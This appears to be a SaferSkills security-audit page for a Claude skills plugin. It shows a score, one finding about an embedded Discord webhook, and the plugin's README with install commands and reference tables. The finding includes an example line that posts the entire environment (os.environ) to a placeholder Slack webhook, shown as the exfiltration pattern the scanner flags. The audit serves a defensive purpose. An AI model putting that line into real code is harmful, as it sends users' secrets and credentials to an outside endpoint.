Skills — independently scanned and version-tracked by SaferSkills.
SaferSkills independently audited Skills (Plugin) and scored it 91/100 (green). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 1 high-severity and 0 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.
Findings & checks · 1 flagged
This plugin embeds a chat-platform or request-capture webhook URL (DISCORD_WEBHOOK_URL=https://discord.com/api/webh…). Webhooks are the classic exfiltration drop: a plugin collects env, files, or system info and posts it to a hardcoded endpoint the attacker watches.
requests.post("https://hooks.slack.com/services/T000/B000/XXXX", json={"env": dict(os.environ)})# user-supplied target; send only a benign status message
requests.post(config.webhook_url, json={"status": "build complete"})Every scanned point with the score it earned and what moved between them.
Score fell 9 points between these scans.
The primary manifest — the file an agent reads to learn what this artifact does.
<img width="947" height="581" alt="Screenshot 2026-04-29 at 10 14 41 (1)" src="https://github.com/user-attachments/assets/856cf0b9-deea-426c-8d09-97f58d6758b0" />
My personal knowledge base, reusable skills and reference knowledge observed across real projects.
Skills are slash commands that instruct Claude to perform a specific task (e.g. /add-skill, /rag).
Knowledge files are markdown references that Claude reads to apply proven patterns without re-discovering them each session (e.g. GROQ streaming setup, Pinecone schema).
Run the installer and pick what you want:
npx skills@latest add phucbm/skillsAdd the phucbm marketplace (once, ever):
/plugin marketplace add phucbm/skillsInstall the skills plugin:
/plugin install skills@phucbmUpdate when new skills are released:
/plugin marketplace update phucbmSkills I use across projects.
Reference files Claude reads to apply proven patterns.
| Topic | File | Description |
|---|---|---|
| GROQ | groq/streaming-integration.md | SSE streaming with GROQ API, env setup, response parsing |
| Claude Plugins | claude-plugins/marketplace-management.md | Plugin structure, marketplace setup, adding new phucbm plugins |
| Dexie | dexie/patterns.md | IndexedDB via Dexie.js - schema, querying, useLiveQuery, migrations, SSR constraints |
| counterapi | counterapi/usage.md | Simple hit counters via counterapi.dev v2 - lightweight alternative to GA4/PostHog/Umami |
| Vercel AI Gateway | vercel/ai-gateway.md | Multi-provider AI via @ai-sdk/gateway, reasoning middleware, test mock pattern |
| RAG Pipeline | rag/pipeline.md | chunk→embed→upsert→query pattern, prompt injection, switchable embeddings, auto-ingest |
| Pinecone | pinecone/setup.md | Vector DB setup, batch upsert, semantic query, metadata filter with semantic fallback |
| WP Blocks Dev | wp-blocks-dev/overview.md | Pointer to phucbm/wp-blocks-dev plugin - init, create-block, audit skills |
| GitHub Actions publish-npm | github-actions/publish-npm.md | Composite action to auto-publish npm on release - token or OIDC, workflow templates, gotchas |
| Cloudflare Pages | cloudflare/nextjs-migration.md | Migrate Next.js from Vercel to Cloudflare - adapter comparison, worker size limits, pitfalls |
| Discord | discord/web-patterns.md | Forum channel as DB (bookmarks), webhook as form inbox — two zero-infra patterns |
| GitHub as DB | github/github-as-db.md | Repo as zero-infra data store — GitHub App CRUD, build-time index (rate limit fix), PR contribute flow |
| claskit | claskit/usage.md | Setup, commands, spec format, and how to create specs via /claskit skill |
All plugins available from the phucbm marketplace:
| Plugin | Repo | Install | Description |
|---|---|---|---|
claudify | phucbm/claudify | /plugin install claudify@phucbm | Bootstrap .claude/ structure for any existing repo |
skills | phucbm/skills | /plugin install skills@phucbm | Personal knowledge base (this repo) |
registry-system | phucbm/registry-system | /plugin install registry-system@phucbm | Manage shadcn-compatible component registry - create, validate, and push components |
wp-blocks-dev | phucbm/wp-blocks-dev | /plugin install wp-blocks-dev@phucbm | Scaffold, audit and manage custom ACF Gutenberg blocks with Tailwind CSS |
~30 seconds. Free. No account. Every finding cites a rule and a line of evidence.